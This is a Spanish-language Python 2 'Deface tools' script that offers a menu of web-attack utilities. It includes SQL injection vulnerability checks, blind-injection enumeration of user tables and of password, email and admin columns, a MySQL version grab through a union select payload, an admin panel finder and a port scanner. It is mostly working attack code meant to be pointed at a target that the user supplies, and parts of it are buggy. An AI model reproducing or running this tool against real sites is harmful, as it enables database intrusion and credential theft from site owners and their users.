#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Autor: Rune
# Fecha: 17/03/12
#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
import urllib,os,string
def check_ports(): #Funcion de escaneo de puertos
print """
_____ _ _____
| __ \ | | / ____|
| |__) |___ _ __| |_ | (___ ___ __ _ _ __ _ __ ___ _ __
| ___// _ \| '__| __| \___ \ / __|/ _` | '_ \| '_ \ / _ \ '__|
| | | (_) | | | |_ ____) | (__| (_| | | | | | | | __/ |
|_| \___/|_| \__| |_____/ \___|\__,_|_| |_|_| |_|\___|_| """
tablapuertos = []
errores = ["error","Error","inactiva","Inactiva","no ha podido establecer","!Vaya\xc2"]
print "\n\n [+] Port Scanner [+]"
print "\n[+] Introduce la web objetivo"
target = raw_input("\nTarget>")
print "\n[+] Escaneando puertos, puede llevar varios minutos..."
print "\n[+] Puertos escaneados:\n"
for puerto in range(0,65535): # Rango de 0, al total de puertos existente
try:
x = urllib.urlopen(target+":"+str(puerto))
for error in errores:
if error in x.read():
tablapuertos.append(puerto)
print "Puerto " + str(puerto)
except:
print "[-] No se ha podido establecer conexion con el servidor"
raw_input()
os.system("clear")
init()
if string.join(tablapuertos) == "":
print "[-] No se ha encontrado abierto ningun puerto"
raw_input()
os.system("clear")
init()
else:
print "\n [+] Puertos Abiertos [+]\n"
for elemento in tablapuertos:
print "----> " + elemento
def show_version(): # Funcion Mostrar Version
print """
_____ _ __ __ _
/ ____| | \ \ / / (_)
| (___ | |__ _____ __ \ \ / /___ _ __ ___ _ ___ _ __
\___ \| '_ \ / _ \ \ /\ / / \ \/ // _ \ '__/ __| |/ _ \| '_ \
____) | | | | (_) \ V V / \ /| __/ | \__ \ | (_) | | | |
|_____/|_| |_|\___/ \_/\_/ \/ \___|_| |___/_|\___/|_| |_|
"""
print "\n\n [+] Show Version [+]"
tablaversiones = ["3.23","4.0.0","4.0.3","4.0.6","4.0.12","4.0.24","4.0.30","4.1.0","4.1.3","4.1.4","4.1.7","4.1.9","4.1.18","4.1.23","4.1.23","4.1.25","5.0.0","5.0.1","5.0.3","5.0.13","5.0.15","5.0.19","5.0.30","5.0.50","5.0.76","5.0.90","5.0.91","5.1.3","5.1.5","5.1.15","5.1.22","5.1.30","5.1.31","5.1.43","5.5.0","5.5.3"]
# Tablaversiones contiene todas las versiones de MySql hasta la actualidad
print "\n[+] Introduce la web objetivo"
version = ""
web = raw_input("Target>")
inyeccion = web + " and 1=0 union select @@version"
try:
t = urllib.urlopen(inyeccion).read()
for versionx in tablaversiones:
if versionx in t:
version = version + versionx
if version != "":
print "\n[+] La version del servidor SQL es --> " + version
raw_input()
os.system("clear")
init()
else:
print "\n[-] No se ha podido indentificar la version"
raw_input()
os.system("clear")
init()
except:
print "\n[-] No se ha podido realizar la inyeccion, compruebe la url"
raw_input()
os.system("clear")
init()
def show_columns2(): # Funcion Muestra columnas redireccionada desde init()
print """
_____ __ ______ __
/ ___// /_ ____ _ __ / ____/____ / /__ ______ ___ ____ _____
\__ \/ __ \/ __ \ | /| / / / / / __ \/ // / / / __ `__ \/ __ \/ ___/
___/ / / / / /_/ / |/ |/ / / /___ / /_/ / // /_/ / / / / / / / / (__ )
/____/_/ /_/\____/|__/|__/ \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/ """
print "\n\n [+] Show Columns [+]"
columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
# Las columnas mas frecuentes con informacion importante ;)
column = [] # Lista donde se guardaran las columnas encontradas
print "\n[+] Inserte la web objetivo"
web = raw_input("Target>")
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
except:
print "\n[-] No se ha podido conectar con el servidor"
raw_input()
os.system("clear")
init()
print "\n [/] Inserte la tabla que desea investigar"
table = raw_input(">")
for elemento in columnas:
inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
column.append(elemento)# Anadimos la columna, con la cual el codigo no varia a la lista column
if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
print "\n\n [+] Columnas Encontradas [+] "
for elementoxs in column:
print "----> " + elementoxs #Las muestra
raw_input()
os.system("clear")
init()
else: # Si la lista esta vacia, columnas 0
print "\n\n [-] No se ha encontrado ninguna columna de usuario"
raw_input()
os.system("clear")
init()
def show_columns1(web,tabla): # Funcion mostrar columnas, redireccionada desde show_tables()
print """
_____ __ ______ __
/ ___// /_ ____ _ __ / ____/____ / /__ ______ ___ ____ _____
\__ \/ __ \/ __ \ | /| / / / / / __ \/ // / / / __ `__ \/ __ \/ ___/
___/ / / / / /_/ / |/ |/ / / /___ / /_/ / // /_/ / / / / / / / / (__ )
/____/_/ /_/\____/|__/|__/ \____/ \____/_/ \__,_/_/ /_/ /_/_/ /_/____/ """
print "\n\n [+] Show Columns [+]"
columnas = ["nombres","id","nonmbre","user","username","nombre","Nombre","name","pass","password","contrase\xf1a","clave","contrasena","email","correo","usuario","usuarios","admin","administrador"]
# Las columnas mas frecuentes con informacion importante ;)
column = [] # Lista donde se guardaran las columnas encontradas
print "\n [+] Tablas [+]"
for el in tabla: # Mostramos las tablas anteriormente encontradas para la visualizacion del usuario
print "----> " + el
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial (leer codigo)
except:
print "\n[-] No se ha podido conectar con el servidor"
raw_input()
os.system("clear")
init()
print "\n [/] Inserte la tabla que desea investigar"
table = raw_input(">")
for elemento in columnas:
inyeccion = web + " and (select(count("+elemento+")) from " + table + ");"
x = urllib.urlopen(inyeccion).read() # Abrimos la web con la inyeccion
if x == s: #Si el codigo de la web no varia, la columna, es la que buscamos
column.append(elemento) # Anadimos la columna, con la cual el codigo no varia a la lista column
if string.join(column) != "": # Si la lista column, no esta vacia nos indica que hay columnas
print "\n\n [+] Columnas Encontradas [+] "
for elementoxs in column:
print "----> " + elementoxs # Las muestra
raw_input()
os.system("clear")
init()
else: # Si la lista esta vacia, columnas 0
print "\n\n [-] No se ha encontrado ninguna columna de usuario"
raw_input()
os.system("clear")
init()
def view_code():
print """
_____ _ __ ___
/ ____| | | \ \ / (_)
| | ___ __| | ___ \ \ / / _ _____ __
| | / _ \ / _` |/ _ \ \ \/ / | |/ _ \ \ /\ / /
| |____| (_) | (_| | __/ \ / | | __/\ V V /
\_____|\___/ \__,_|\___| \/ |_|\___| \_/\_/
"""
print "\n\n [+] View Code [+]"
print "\n[+] Inserte la url de la web"
print "[+] El codigo tambien se guardara en un archivo"
url = raw_input("\nTarget>") # Introducimos la web objetivo
try:
x = urllib.urlopen(url).read() # Abrimos la web en modo lectura
except:
print "\n[-] La url no es valida"
raw_input()
os.system("clear")
init()
print x
web = url.replace("/","") # Creamos una variable que sistituya los / por espacios en blanco para poder guardar el archivo
f = open(web+".txt","w") # Creamos un archivo con el nombre de la web en extension .txt
f.write(x) # Escribimos el codigo sobre el
f.close() # Y cerramos
print "\n[+] Pulse cualquier tecla para volver..."
raw_input()
os.system("clear")
init()
def vuln2(web): # Funcion de chequeo de vulnerabilidades 2
print """
_ __ __ __ _ ___ __
| | / /__ __/ /____ ___ _________ _/ /_ (_) (_) /___ __
| | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
| |/ // /_/ / // / / / __/ / / /_/ / /_/ / / / / /_/ /_/ /
|___/ \__,_/_//_/ /_/\___/_/ \__,_/_.___/_/_/_/\__/\__, /
/____/ """
print "\n\n [+] Check Vulnerability [+]"
print "\n[+] Relizando un segundo escaneo..."
errores = ["Warning","Sql","MySql","warning","sql","SQL","MySQL"]
variable = 0
inyeccion = web + "'" # Declaramos la inyeccion, que sera igual que la web con comillas simples al final
try:
vulnerable = urllib.urlopen(inyeccion) # Abrimos la web
for error in errores:
if error in vulnerable.read(): # Y por cada error en la lista errores, si este error existe en el codigo, le sumamos 1 a variable
variable = variable + 1
if variable != 0: # Si variable es diferente de cero, indica que ha encontrado errores en el codigo, por tanto sera vulnerable
print "\n[+] El segundo escaneo indica que es vulnerable sin embargo, es de poca fiabilidad"
raw_input()
os.system("clear")
init()
else: # Al ser la variable igual que 0, no ha encontrado ningun error, y no es vulnerable
print "\n[-] Definitivamente la web no es vulnerable"
raw_input()
os.system("clear")
init()
except:
print " [-] Error en la comprobacion reeintente"
raw_input()
os.system("clear")
init()
def show_tables(): # Funcion Muestra Tablas
print """
_____ __ ______ __ __
/ ___// /_ ____ _ __ /_ __/____ _/ /_ / /___ _____
\__ \/ __ \/ __ \ | /| / / / / / __ `/ __ \/ // _ \/ ___/
___/ / / / / /_/ / |/ |/ / / / / /_/ / /_/ / // __(__ )
/____/_/ /_/\____/|__/|__/ /_/ \__,_/_.___/_/ \___/____/ """
print "\n\n [+] Show Tables [+]"
tablas = ["users","admin","administrador","administrator","user","members","member","adm","nombres","cuentas","accounts","usuarios","wp-admin","wp-users"]
# Tablas de usuarios mas frecuentes ;)
tabla = [] # Lista vacia para almacenar las tablas encontradas
web = raw_input("\n\n[/]Target>")
print "[+] Localizando tablas de usuarios..."
try:
s = urllib.urlopen(web).read() # Abrimos la web inicial en modo lectura
except:
print "[-] No se ha podido conectar al servidor, revise la url"
raw_input()
os.system("clear")
init()
for elemento in tablas:
inyeccion = " and (select(count(*)) from " + elemento + ");" # Declaramos el codigo de la inyeccion
try:
t = urllib.urlopen(web+inyeccion).read() # Abrimos la url de la web + inyeccion en modo lectura
except:
print "\n[-] No se ha podido realizar la inyeccion"
raw_input()
os.system("clear")
init()
if t == s: # Si el codigo no varia, la tabla es la que buscabamos
tabla.append(elemento) # Insertamos la tabla localizada en la lista vacia
print "\n\n [+] Tablas Encontradas [+] "
for el1 in tabla: # Y aqui las imprimimos
print "---> " + el1
print "\n[+] Quiere continuar extrayendo las columnas?" # Ahora nos da opcion de continuar o no con las columnas, si continuamos nos redirige a show_columns1()
print "0 ----> Si"
print "1 ----> No"
lecc = input("\n>")
if lecc == 0:
os.system("clear")
show_columns1(web,tabla)
else:
os.system("clear")
init()
def textTobin(): # Funcion encargada de convertir ascii a binario
print """
___ _ _ _____ ______ _
/ _ \ (_|_) |_ _| | ___ (_)
/ /_\ \___ ___ _ _ | | ___ | |_/ /_ _ __
| _ / __|/ __| | | | |/ _ \ | ___ \ | '_ \
| | | \__ \ (__| | | | | (_) | | |_/ / | | | |
\_| |_/___/\___|_|_| \_/\___/ \____/|_|_| |_|"""
print "\n\n [+] Ascii To Bin [+]"
bina = ''
textoa = raw_input("\n\n[/] Texto Ascii>")
print "\n[+] Conversion [+]"
for letra in textoa: # Por cada letra en la cadena, convertimos cada una en binario y posteriormente las concatenamos
bina = bina + bin(ord(letra))
bina = bina.replace('b','') #Sustituyendo las 'b' creadas por espacios en blanco
print bina
raw_input()
os.system("clear")
init()
def textTohex(): # Funcion encargada de convertir ascii a hexadecimal
print """
______ __ ______ __ __
/_ __/___ _ __/ /_ /_ __/____ / / / /___ _ __
/ / / _ \ | |/_/ __/ / / / __ \ / /_/ // _ \ | |/_/
/ / / __/_> </ /_ / / / /_/ / / __ // __/_> <
/_/ \___//_/|_|\__/ /_/ \____/ /_/ /_/ \___//_/|_|"""
print "\n\n [+] Ascii To Hex [+]"
textoa = raw_input("\n\n[/]Texto Ascii>")
hexa = ''
print "\n[+] Conversion [+]"
for letra in textoa: # Por cada letra en la cadena, convertimos cada una en hexadecimal y posteriormente las concatenamos
hexa = hexa + hex(ord(letra))
hexa = "0x%s" %hexa.replace('0x','') # Sustituyendo los '0x' creados por espacios en blanco menos el primero
print hexa
raw_input()
os.system("clear")
init()
def check_vuln(): # Funcion de chequeo de vulnerabilidades SQL
print """
_ __ __ __ _ ___ __
| | / /__ __/ /____ ___ _________ _/ /_ (_) (_) /___ __
| | / // / / / // __ \/ _ \/ ___/ __ `/ __ \/ / / / __/ / / /
| |/ // /_/ / // / / / __/ / / /_/ / /_/ / / / / /_/ /_/ /
|___/ \__,_/_//_/ /_/\___/_/ \__,_/_.___/_/_/_/\__/\__, /
/____/ """
print "\n\n [+] Check Vulnerability [+]"
web = raw_input("\n\n[/]Target>")
print "\n[+] Comprobando vulnerabilidad"
comando1 = " and 1=1" # Comandos de la inyeccion 1
comando2 = " and 1=0" # Comandos de la inyeccion 2
try:
# Abrimos las diferentes urls, para compararlas posteriormente
n = urllib.urlopen(web).read()
p = urllib.urlopen(web+comando1).read()
t = urllib.urlopen(web+comando2).read()
if p != t and p==n: # Si la inyeccion and 1=1 es igual al codigo de la web normal y es diferente al codigo de 1 = 0 es Vulnerable
print "\n[+] El servidor es vulnerable a SQL, continue con la inyeccion"
raw_input()
os.system("clear")
init()
else: # De lo contrario la web no es vulnerable y nos da la opcion de realizar un 2 escaneo
print "\n[-] El servidor no es vulnerable a SQL en su primer escaneo, quiere realizar un segundo?"
print "\n0---->Si"
print "1---->No"
eleccion = input("\n>")
if eleccion == 0:
os.system("clear")
vuln2(web)
else:
raw_input()
os.system("clear")
init()
except:
print "[-] No se ha podido conectar al servidor, revise la Url"
raw_input()
os.system("clear")
init()
def buscaPanel(): # Funcion que localizara el admin panel
print """
____ __ _______ __
/ __ \____ _____ ___ / / / ____(_)____ ____/ /___ _____
/ /_/ / __ `/ __ \/ _ \/ / / /_ / // __ \/ __ // _ \/ ___/
/ ____/ /_/ / / / / __/ / / __/ / // / / / /_/ // __/ /
/_/ \__,_/_/ /_/\___/_/ /_/ /_//_/ /_/\__,_/ \___/_/
"""
print "\n\n [+] Admin Panel Finder [+]"
s = raw_input("\n\n[/]Target>") # Introducimos la web a investigar
f = open("Paneles.txt","r") #Abrimos el archivo Paneles.txt que contiene los paneles mas frecuentes
tabla =[]
i = 0
try:
p = urllib.urlopen(s + "/dasfdsdvd").read() # Leemos el codigo de una pagina inexistente en la web
print "[+] Buscando paneles, esta busqueda puede tomar varios segundos/minutos"
for elemento in f.readlines(): # Leemos las lineas del archivo de texto, cada linea contiene un panel
t = urllib.urlopen(s+elemento).read() # Y abrimos en modo lectura, la url de la web + el panel
if t != p: # Si el codigo del panel es diferente al de la web inexistente, Bingo! (Problema) Puede mostrar errores distintos, "mejorar nueva version"
tabla2 = tabla.insert(i,elemento) # Guarda en una lista los paneles encontrados
print "\n [+] Paneles encontrados:\n"
for x in tabla:
print s + x # Y aqui los muestra
raw_input()
os.system("clear")
init()
except:
print "[-] Ningun Panel Encontrado / Web invalida"
raw_input()
os.system("clear")
init()
def init():
print """
____ ____ __ __
/ __ \___ / __/____ _________ / /_____ ____ / /_____
/ / / / _ \/ /_ / __ `/ ___/ _ \ / __/ __ \/ __ \/ // ___/
/ /_/ / __/ __// /_/ / /__/ __/ / /_/ /_/ / /_/ / /(__ )
/_____/\___/_/ \__,_/\___/\___/ \__/\____/\____/_//____/ """
print "\n\n [+] Menu Principal[+]\n "
print "0------> Admin Panel Finder"
print "1------> Check Vulnerability"
print "2------> Ascii To Hex"
print "3------> Ascii To Binary"
print "4------> Show Tables"
print "5------> Show Columns"
print "6------> Show Version DB"
print "7------> Port Scanner"
print "8------> View Web Code\n"
eleccion = input("[/] Que desea hacer?>")
if eleccion == 0:
os.system("clear")
buscaPanel()
elif eleccion == 1:
os.system("clear")
check_vuln()
elif eleccion == 2:
os.system("clear")
textTohex()
elif eleccion == 3:
os.system("clear")
textTobin()
elif eleccion == 4:
os.system("clear")
show_tables()
elif eleccion == 5:
os.system("clear")
show_columns2()
elif eleccion == 6:
os.system("clear")
show_version()
elif eleccion == 7:
os.system("clear")
check_ports()
elif eleccion == 8:
os.system("clear")
view_code()
else:
print "[-] El numero introducido no es valido"
raw_input()
os.system("clear")
init()
init()
# The End!